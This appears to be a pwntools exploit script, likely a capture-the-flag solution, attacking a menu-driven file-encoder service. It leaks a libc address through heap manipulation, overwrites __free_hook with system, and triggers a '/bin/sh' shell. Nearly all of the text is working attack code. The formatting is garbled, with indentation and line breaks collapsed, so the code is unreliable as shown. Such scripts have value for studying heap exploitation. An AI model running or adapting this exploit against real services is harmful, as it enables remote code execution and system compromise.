1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| from pwn import *
context(os='linux',arch='amd64')
p=remote('ip',port) libc=ELF('./libc-2.31.so')
class encoder: def __init__(self,): pass def upload(self,idx,size,content): global p p.sendlineafter(">>",str(1)) p.sendlineafter("FileIdx: ",str(idx)) p.sendlineafter("FileSize: ",str(size))
p.sendafter("FileData: ",content) def download(self,idx): p.sendlineafter(">>",str(2)) p.sendlineafter("FileIdx: ",str(idx)) def encode(self,idx): p.sendlineafter(">>",str(3)) p.sendlineafter("FileIdx: ",str(idx)) def decode(self,idx): p.sendlineafter(">>",str(4)) p.sendlineafter("FileIdx: ",str(idx)) def release(self,idx): p.sendlineafter(">>",str(5)) p.sendlineafter("FileIdx: ",str(idx)) encoder_p = encoder() encoder_p.upload(0,0x80,b'a'*0x80) for i in range(1,1+7): encoder_p.upload(i,0x80,b'a'*0x80) encoder_p.encode(0)
encoder_p.upload(15,0x80,b'a'*0x80) encoder_p.upload(0,0x80,b'a'*0x80) encoder_p.encode(0) encoder_p.upload(16,0x80,b'a'*0x80)
for i in range(1,1+7): encoder_p.release(i) encoder_p.release(15) encoder_p.download(16)
p.recvuntil(b'FileData: ') libc_base=u64(p.recv(8))-0x1ecbe0 print(f"libc_base -> {hex(libc_base)}")
system=libc_base+libc.sym['system'] free_hook=libc_base+libc.sym['__free_hook']
encoder_p.upload(20,0x80,b'a'*0x80) encoder_p.upload(0,0x80,b'a'*0x80) encoder_p.encode(0)
encoder_p.upload(0,0x8,p64(free_hook))
payload=b'/bin/sh\x00'.ljust(0x80,b'a') encoder_p.upload(21,0x80,payload) encoder_p.upload(22,0x80,p64(system)*(0x80//8)) encoder_p.release(21)
p.interactive()
|